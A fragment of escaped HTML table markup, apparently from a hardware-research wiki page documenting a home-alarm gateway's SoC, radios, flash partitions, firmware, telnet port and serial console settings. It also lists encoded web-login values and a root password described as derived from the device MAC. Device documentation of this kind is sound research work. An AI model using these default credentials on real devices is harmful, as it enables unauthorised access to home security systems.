&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Power&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;12V/2A DC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;GSM: Cinterion BGS2-W rev. 01.301 &amp;lt;br&amp;gt;Z-Wave: 868,6625 MHz (Dual Way) &amp;lt;br&amp;gt;Battery: 7,2V Ni-MH 1600mAH&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Z-Wave&amp;lt;br&amp;gt;Battery&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;FCC-ID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;System&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Faraday GM8126&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Processor&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;GM812225TF-Qc (Fam. GM812x) SoC &amp;lt;br&amp;gt;FA626TE rev1 (ARMv5TE) (270 MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BogoMIPS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;264.19&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64MB DRR (400MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Flash: 32 MB (NAND)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;eth0: 00:1D:94:05:85:A7&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;10.0.1.52/8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;HPGW-NET6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt; SSLv3 SHA-256bit with RSA-Encryption,&amp;lt;br&amp;gt;UPnP, FTP, Telnet,&amp;lt;br&amp;gt;ZBS v.2.9.2.6.1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;uart0 (TQFP-176 chip provides no RX for UART2)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;55023 telnet (BusyBox telnetd),&amp;lt;br&amp;gt;443 ssl/https,&amp;lt;br&amp;gt;80 http (Mongoose) (Redirect to 443)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;https://192.168.0.128/action/login&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin: NDc2MTAzMj08NQ==&amp;lt;br&amp;gt;expert: YH11YHdxNDc2MQ==&amp;lt;br&amp;gt;user: cHZgdzQ3NjE==&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;H5jb2Qqy (Derived from MAC)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;None&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.0.2.19E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;V1.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1) (MCU provides no RX pin for UART0!)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1s (Space: Linux; ESC: U-Boot; .: Burn-In)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;U-Boot&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;  Yes, but no way to access it via UART0.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev: size erasesize name &amp;lt;br&amp;gt;mtd0: 007f0000 00010000 &amp;quot;Linux Section&amp;quot; &amp;lt;br&amp;gt;mtd1: 00720000 00010000 &amp;quot;User Section&amp;quot; &amp;lt;br&amp;gt;mtd2: ffff6000 00010000 &amp;quot;Loader Section&amp;quot; &amp;lt;br&amp;gt;mtd3: 0009a000 00010000 &amp;quot;BurnIn Section&amp;quot; &amp;lt;br&amp;gt;mtd4: 00020000 00010000 &amp;quot;UBoot Section&amp;quot; &amp;lt;br&amp;gt;mtd5: 00020000 00010000 &amp;quot;CFG Section&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;JFFS2 version 2.2. (NAND) (mtd1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.28 (Feb 13 2018)&amp;lt;br&amp;gt;(engin@engin-desktop)&amp;lt;br&amp;gt;(gcc version 4.4.0)&amp;lt;br&amp;gt;(Faraday C/C++ Compiler)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;mem=64M&amp;lt;br&amp;gt;console=uart,shift,2,io,0xF9850000,115200&amp;lt;br&amp;gt;quiet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
